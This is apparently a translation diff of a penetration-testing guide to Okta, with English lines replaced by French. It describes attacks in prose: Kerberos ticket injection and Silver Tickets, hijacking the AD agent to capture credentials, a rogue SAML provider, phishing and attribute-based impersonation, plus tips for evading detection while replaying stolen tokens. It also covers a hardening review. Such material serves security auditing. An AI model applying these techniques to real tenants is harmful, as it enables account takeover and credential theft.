Ces services visent collectivement à renforcer la protection des données et à rationaliser l'accès des utilisateurs, améliorant à la fois la sécurité et la commodité. La polyvalence des solutions d'Okta en fait un choix populaire dans divers secteurs, bénéfique pour les grandes entreprises, les petites sociétés et les développeurs individuels. À la dernière mise à jour en septembre 2021, Okta est reconnue comme une entité de premier plan dans le domaine de la gestion des identités et des accès (IAM).
|
||||
|
||||
> [!CAUTION]
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
> Le principal objectif d'Okta est de configurer l'accès à différentes applications pour les utilisateurs et les groupes externes. Si vous parvenez à **compromettre les privilèges d'administrateur dans un environnement Okta**, vous serez très probablement en mesure de **compromettre toutes les autres plateformes utilisées par l'entreprise**.
|
||||
|
||||
> [!TIP]
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
> Pour effectuer un examen de sécurité d'un environnement Okta, vous devriez demander un **accès en lecture seule d'administrateur**.
|
||||
|
||||
### Summary
|
||||
### Résumé
|
||||
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
Il y a des **utilisateurs** (qui peuvent être **stockés dans Okta,** connectés depuis des **Identity Providers** configurés ou authentifiés via **Active Directory** ou LDAP).\
|
||||
Ces utilisateurs peuvent être dans des **groupes**.\
|
||||
Il y a aussi des **authentificateurs** : différentes options pour s'authentifier comme le mot de passe, et plusieurs 2FA comme WebAuthn, email, téléphone, okta verify (ils peuvent être activés ou désactivés)...
|
||||
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
Ensuite, il y a des **applications** synchronisées avec Okta. Chaque application aura un certain **mapping avec Okta** pour partager des informations (comme les adresses email, les prénoms...). De plus, chaque application doit être dans une **Authentication Policy**, qui indique les **authentificateurs nécessaires** pour qu'un utilisateur **accède** à l'application.
|
||||
|
||||
> [!CAUTION]
|
||||
> The most powerful role is **Super Administrator**.
|
||||
> Le rôle le plus puissant est **Super Administrator**.
|
||||
>
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
> Si un attaquant compromet Okta avec un accès Administrateur, toutes les **applications faisant confiance à Okta** seront très probablement **compromises**.
|
||||
|
||||
## Attacks
|
||||
## Attaques
|
||||
|
||||
### Locating Okta Portal
|
||||
### Localiser le portail Okta
|
||||
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
Généralement, le portail d'une entreprise sera situé à **companyname.okta.com**. Si ce n'est pas le cas, essayez des **variations simples** de **companyname.** Si vous ne pouvez pas le trouver, il est également possible que l'organisation ait un enregistrement **CNAME** comme **`okta.companyname.com`** pointant vers le **portail Okta**.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
### Connexion à Okta via Kerberos
|
||||
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
Si **`companyname.kerberos.okta.com`** est actif, **Kerberos est utilisé pour l'accès à Okta**, contournant généralement **MFA** pour les utilisateurs **Windows**. Pour trouver les utilisateurs Okta authentifiés par Kerberos dans AD, exécutez **`getST.py`** avec **les paramètres appropriés**. Après avoir obtenu un **ticket utilisateur AD**, **injectez-le** dans un hôte contrôlé en utilisant des outils comme Rubeus ou Mimikatz, en vous assurant que **`clientname.kerberos.okta.com` est dans la zone "Intranet" des Options Internet**. Accéder à une URL spécifique devrait renvoyer une réponse JSON "OK", indiquant l'acceptation du ticket Kerberos et accordant l'accès au tableau de bord Okta.
|
||||
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
Compromettre le **compte de service Okta avec le SPN de délégation permet une attaque Silver Ticket.** Cependant, l'utilisation par Okta de **AES** pour le chiffrement des tickets nécessite de posséder la clé AES ou le mot de passe en clair. Utilisez **`ticketer.py` pour générer un ticket pour l'utilisateur victime** et livrez-le via le navigateur pour s'authentifier avec Okta.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
### Détournement de l'agent AD Okta
|
||||
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
Cette technique implique **l'accès à l'agent AD Okta sur un serveur**, qui **synchronise les utilisateurs et gère l'authentification**. En examinant et en décryptant les configurations dans **`OktaAgentService.exe.config`**, notamment le AgentToken en utilisant **DPAPI**, un attaquant peut potentiellement **intercepter et manipuler les données d'authentification**. Cela permet non seulement de **surveiller** et de **capturer les identifiants des utilisateurs** en clair pendant le processus d'authentification Okta, mais aussi de **répondre aux tentatives d'authentification**, permettant ainsi un accès non autorisé ou fournissant une authentification universelle via Okta (semblable à une 'clé maîtresse').
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
### Détournement d'AD en tant qu'Admin
|
||||
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
Cette technique implique de détourner un agent AD Okta en obtenant d'abord un code OAuth, puis en demandant un jeton API. Le jeton est associé à un domaine AD, et un **connecteur est nommé pour établir un faux agent AD**. L'initialisation permet à l'agent de **traiter les tentatives d'authentification**, capturant les identifiants via l'API Okta. Des outils d'automatisation sont disponibles pour rationaliser ce processus, offrant une méthode fluide pour intercepter et gérer les données d'authentification dans l'environnement Okta.
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Fake SAML Provider
|
||||
### Fournisseur SAML factice Okta
|
||||
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
La technique implique **le déploiement d'un fournisseur SAML factice**. En intégrant un fournisseur d'identité externe (IdP) dans le cadre d'Okta en utilisant un compte privilégié, les attaquants peuvent **contrôler l'IdP, approuvant toute demande d'authentification à volonté**. Le processus consiste à configurer un IdP SAML 2.0 dans Okta, à manipuler l'URL de connexion unique de l'IdP pour la redirection via le fichier hosts local, à générer un certificat auto-signé et à configurer les paramètres Okta pour correspondre au nom d'utilisateur ou à l'email. L'exécution réussie de ces étapes permet de s'authentifier en tant qu'utilisateur Okta, contournant le besoin d'identifiants individuels, élevant considérablement le contrôle d'accès de manière potentiellement inaperçue.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
### Attaque de phishing du portail Okta avec Evilgnix
|
||||
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
Dans [**cet article de blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23), il est expliqué comment préparer une campagne de phishing contre un portail Okta.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
### Attaque d'imitation de collègue
|
||||
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
Les **attributs que chaque utilisateur peut avoir et modifier** (comme l'email ou le prénom) peuvent être configurés dans Okta. Si une **application** fait **confiance** à un **attribut** que l'utilisateur peut **modifier**, il pourra **imiter d'autres utilisateurs sur cette plateforme**.
|
||||
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
Par conséquent, si l'application fait confiance au champ **`userName`**, vous ne pourrez probablement pas le changer (car vous ne pouvez généralement pas modifier ce champ), mais s'il fait confiance par exemple à **`primaryEmail`**, vous pourriez être en mesure de **le changer pour l'adresse email d'un collègue** et de l'imiter (vous devrez avoir accès à l'email et accepter le changement).
|
||||
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
Notez que cette imitation dépend de la façon dont chaque application a été configurée. Seules celles faisant confiance au champ que vous avez modifié et acceptant les mises à jour seront compromises.\
|
||||
Par conséquent, l'application devrait avoir ce champ activé s'il existe :
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
J'ai également vu d'autres applications qui étaient vulnérables mais qui n'avaient pas ce champ dans les paramètres Okta (à la fin, différentes applications sont configurées différemment).
|
||||
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
La meilleure façon de savoir si vous pourriez imiter quelqu'un sur chaque application serait de l'essayer !
|
||||
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Évasion des politiques de détection comportementale <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
Les politiques de détection comportementale dans Okta peuvent être inconnues jusqu'à ce qu'elles soient rencontrées, mais **les contourner** peut être réalisé en **ciblant directement les applications Okta**, évitant le tableau de bord principal d'Okta. Avec un **jeton d'accès Okta**, rejouez le jeton à l'**URL spécifique à l'application Okta** au lieu de la page de connexion principale.
|
||||
|
||||
Key recommendations include:
|
||||
Les recommandations clés incluent :
|
||||
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
- **Évitez d'utiliser** des proxys anonymes populaires et des services VPN lors de la relecture des jetons d'accès capturés.
|
||||
- Assurez-vous que les **chaînes d'agent utilisateur** sont **cohérentes** entre le client et les jetons d'accès rejoués.
|
||||
- **Évitez de rejouer** des jetons provenant de différents utilisateurs depuis la même adresse IP.
|
||||
- Faites preuve de prudence lors de la relecture des jetons contre le tableau de bord Okta.
|
||||
- Si vous connaissez les adresses IP de l'entreprise victime, **limitez le trafic** à ces IP ou à leur plage, en bloquant tout autre trafic.
|
||||
|
||||
## Okta Hardening
|
||||
## Renforcement d'Okta
|
||||
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
Okta a beaucoup de configurations possibles, sur cette page vous trouverez comment les examiner pour qu'elles soient aussi sécurisées que possible :
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,72 +6,72 @@
|
||||
|
||||
### People
|
||||
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
Du point de vue d'un attaquant, c'est super intéressant car vous pourrez voir **tous les utilisateurs enregistrés**, leurs **adresses email**, les **groupes** auxquels ils appartiennent, les **profils** et même les **appareils** (mobiles avec leurs systèmes d'exploitation).
|
||||
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
Pour une revue en boîte blanche, vérifiez qu'il n'y a pas plusieurs "**Action utilisateur en attente**" et "**Réinitialisation de mot de passe**".
|
||||
|
||||
### Groups
|
||||
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
C'est ici que vous trouvez tous les groupes créés dans Okta. Il est intéressant de comprendre les différents groupes (ensemble de **permissions**) qui pourraient être accordées aux **utilisateurs**.\
|
||||
Il est possible de voir les **personnes incluses dans les groupes** et les **applications assignées** à chaque groupe.
|
||||
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
Bien sûr, tout groupe avec le nom **admin** est intéressant, en particulier le groupe **Administrateurs globaux**, vérifiez les membres pour savoir qui sont les membres les plus privilégiés.
|
||||
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
Dans une revue en boîte blanche, il **ne devrait pas y avoir plus de 5 administrateurs globaux** (mieux s'il n'y en a que 2 ou 3).
|
||||
|
||||
### Devices
|
||||
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
Trouvez ici une **liste de tous les appareils** de tous les utilisateurs. Vous pouvez également voir s'il est **activement géré** ou non.
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
Ici, il est possible d'observer comment des informations clés telles que les prénoms, noms, emails, noms d'utilisateur... sont partagées entre Okta et d'autres applications. C'est intéressant car si un utilisateur peut **modifier dans Okta un champ** (comme son nom ou son email) qui est ensuite utilisé par une **application externe** pour **identifier** l'utilisateur, un initié pourrait essayer de **prendre le contrôle d'autres comptes**.
|
||||
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
De plus, dans le profil **`User (default)`** d'Okta, vous pouvez voir **quels champs** chaque **utilisateur** a et lesquels sont **modifiables** par les utilisateurs. Si vous ne pouvez pas voir le panneau d'administration, allez simplement à **mettre à jour vos informations de profil** et vous verrez quels champs vous pouvez mettre à jour (notez que pour mettre à jour une adresse email, vous devrez la vérifier).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
Les annuaires vous permettent d'importer des personnes à partir de sources existantes. Je suppose qu'ici vous verrez les utilisateurs importés d'autres annuaires.
|
||||
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
Je ne l'ai pas vu, mais je suppose que c'est intéressant de découvrir **d'autres annuaires qu'Okta utilise pour importer des utilisateurs** afin que si vous **compromettez cet annuaire**, vous puissiez définir certaines valeurs d'attributs dans les utilisateurs créés dans Okta et **peut-être compromettre l'environnement Okta**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
Une source de profil est une **application qui agit comme une source de vérité** pour les attributs de profil utilisateur. Un utilisateur ne peut être source que par une seule application ou annuaire à la fois.
|
||||
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
Je ne l'ai pas vu, donc toute information sur la sécurité et le hacking concernant cette option est appréciée.
|
||||
|
||||
## Customizations
|
||||
|
||||
### Brands
|
||||
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
Vérifiez dans l'onglet **Domains** de cette section les adresses email utilisées pour envoyer des emails et le domaine personnalisé à l'intérieur d'Okta de l'entreprise (que vous savez probablement déjà).
|
||||
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
De plus, dans l'onglet **Setting**, si vous êtes administrateur, vous pouvez "**Utiliser une page de déconnexion personnalisée**" et définir une URL personnalisée.
|
||||
|
||||
### SMS
|
||||
|
||||
Nothing interesting here.
|
||||
Rien d'intéressant ici.
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
Vous pouvez trouver ici les applications configurées, mais nous verrons les détails de celles-ci plus tard dans une autre section.
|
||||
|
||||
### Other
|
||||
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
Paramètre intéressant, mais rien de super intéressant du point de vue de la sécurité.
|
||||
|
||||
## Applications
|
||||
|
||||
### Applications
|
||||
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
Ici, vous pouvez trouver toutes les **applications configurées** et leurs détails : Qui y a accès, comment elles sont configurées (SAML, OpenID), URL de connexion, les mappages entre Okta et l'application...
|
||||
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
Dans l'onglet **`Sign On`**, il y a aussi un champ appelé **`Password reveal`** qui permettrait à un utilisateur de **révéler son mot de passe** en vérifiant les paramètres de l'application. Pour vérifier les paramètres d'une application depuis le panneau utilisateur, cliquez sur les 3 points :
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
Et vous pourriez voir quelques détails supplémentaires sur l'application (comme la fonction de révélation de mot de passe, si elle est activée) :
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,124 +79,121 @@ And you could see some more details about the app (like the password reveal feat
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
Utilisez les Access Certifications pour créer des campagnes d'audit afin de revoir l'accès de vos utilisateurs aux ressources périodiquement et approuver ou révoquer l'accès automatiquement lorsque cela est nécessaire.
|
||||
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
Je ne l'ai pas vu utilisé, mais je suppose que d'un point de vue défensif, c'est une bonne fonctionnalité.
|
||||
|
||||
## Security
|
||||
|
||||
### General
|
||||
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
- **Emails de notification de sécurité** : Tous devraient être activés.
|
||||
- **Intégration CAPTCHA** : Il est recommandé de définir au moins le reCaptcha invisible.
|
||||
- **Sécurité de l'organisation** : Tout peut être activé et les emails d'activation ne devraient pas durer longtemps (7 jours c'est bien).
|
||||
- **Prévention de l'énumération des utilisateurs** : Les deux devraient être activés.
|
||||
- Notez que la prévention de l'énumération des utilisateurs n'est pas efficace si l'une des conditions suivantes est autorisée (voir [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) pour plus d'informations) :
|
||||
- Inscription en libre-service
|
||||
- Flux JIT avec authentification par email
|
||||
- **Paramètres Okta ThreatInsight** : Journaliser et appliquer la sécurité en fonction du niveau de menace.
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
Ici, il est possible de trouver des **paramètres** configurés correctement et **dangereux**.
|
||||
|
||||
### Authenticators
|
||||
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
Ici, vous pouvez trouver toutes les méthodes d'authentification qu'un utilisateur pourrait utiliser : Mot de passe, téléphone, email, code, WebAuthn... En cliquant sur l'authentificateur de mot de passe, vous pouvez voir la **politique de mot de passe**. Vérifiez qu'elle est forte.
|
||||
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
Dans l'onglet **Enrollment**, vous pouvez voir comment ceux qui sont requis ou optionnels :
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
Il est recommandé de désactiver le téléphone. Les plus forts sont probablement une combinaison de mot de passe, email et WebAuthn.
|
||||
|
||||
### Authentication policies
|
||||
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
Chaque application a une politique d'authentification. La politique d'authentification vérifie que les utilisateurs qui essaient de se connecter à l'application répondent à des conditions spécifiques, et elle applique des exigences de facteur en fonction de ces conditions.
|
||||
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
Ici, vous pouvez trouver les **exigences pour accéder à chaque application**. Il est recommandé de demander au moins un mot de passe et une autre méthode pour chaque application. Mais si en tant qu'attaquant vous trouvez quelque chose de plus faible, vous pourriez être en mesure de l'attaquer.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
Ici, vous pouvez trouver les politiques de session assignées à différents groupes. Par exemple :
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
Il est recommandé de demander MFA, de limiter la durée de la session à quelques heures, de ne pas persister les cookies de session à travers les extensions de navigateur et de limiter l'emplacement et le fournisseur d'identité (si cela est possible). Par exemple, si chaque utilisateur doit se connecter depuis un pays, vous pourriez uniquement autoriser cet emplacement.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
Les fournisseurs d'identité (IdPs) sont des services qui **gèrent les comptes utilisateurs**. Ajouter des IdPs dans Okta permet à vos utilisateurs finaux de **s'inscrire eux-mêmes** à vos applications personnalisées en s'authentifiant d'abord avec un compte social ou une carte intelligente.
|
||||
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
Sur la page des fournisseurs d'identité, vous pouvez ajouter des connexions sociales (IdPs) et configurer Okta en tant que fournisseur de services (SP) en ajoutant SAML entrant. Après avoir ajouté des IdPs, vous pouvez configurer des règles de routage pour diriger les utilisateurs vers un IdP en fonction du contexte, tel que l'emplacement de l'utilisateur, l'appareil ou le domaine email.
|
||||
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
**Si un fournisseur d'identité est configuré**, du point de vue d'un attaquant et d'un défenseur, vérifiez cette configuration et **si la source est vraiment fiable**, car un attaquant qui la compromettrait pourrait également accéder à l'environnement Okta.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
L'authentification déléguée permet aux utilisateurs de se connecter à Okta en saisissant des identifiants pour le **Active Directory (AD) ou LDAP** de leur organisation.
|
||||
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
Encore une fois, vérifiez cela, car un attaquant compromettant l'AD d'une organisation pourrait être en mesure de pivoter vers Okta grâce à ce paramètre.
|
||||
|
||||
### Network
|
||||
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
Une zone réseau est une limite configurable que vous pouvez utiliser pour **accorder ou restreindre l'accès aux ordinateurs et appareils** de votre organisation en fonction de l'**adresse IP** qui demande l'accès. Vous pouvez définir une zone réseau en spécifiant une ou plusieurs adresses IP individuelles, des plages d'adresses IP ou des emplacements géographiques.
|
||||
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
Après avoir défini une ou plusieurs zones réseau, vous pouvez **les utiliser dans les politiques de session globales**, **les politiques d'authentification**, les notifications VPN et **les règles de routage**.
|
||||
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
Du point de vue d'un attaquant, il est intéressant de savoir quelles IP sont autorisées (et de vérifier si certaines **IP sont plus privilégiées** que d'autres). Du point de vue d'un attaquant, si les utilisateurs doivent accéder depuis une adresse IP ou une région spécifique, vérifiez que cette fonctionnalité est utilisée correctement.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
- **Gestion des points de terminaison** : La gestion des points de terminaison est une condition qui peut être appliquée dans une politique d'authentification pour garantir que les appareils gérés ont accès à une application.
|
||||
- Je ne l'ai pas encore vu utilisé. À faire.
|
||||
- **Services de notification** : Je ne l'ai pas encore vu utilisé. À faire.
|
||||
|
||||
### API
|
||||
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
Vous pouvez créer des jetons API Okta sur cette page, et voir ceux qui ont été **créés**, leurs **privileges**, le temps d'**expiration** et les **URLs d'origine**. Notez qu'un jeton API est généré avec les permissions de l'utilisateur qui a créé le jeton et n'est valide que si l'**utilisateur** qui les a créés est **actif**.
|
||||
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
Les **Origines de confiance** accordent l'accès aux sites Web que vous contrôlez et en qui vous avez confiance pour accéder à votre organisation Okta via l'API Okta.
|
||||
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
Il ne devrait pas y avoir beaucoup de jetons API, car s'il y en a, un attaquant pourrait essayer d'y accéder et de les utiliser.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
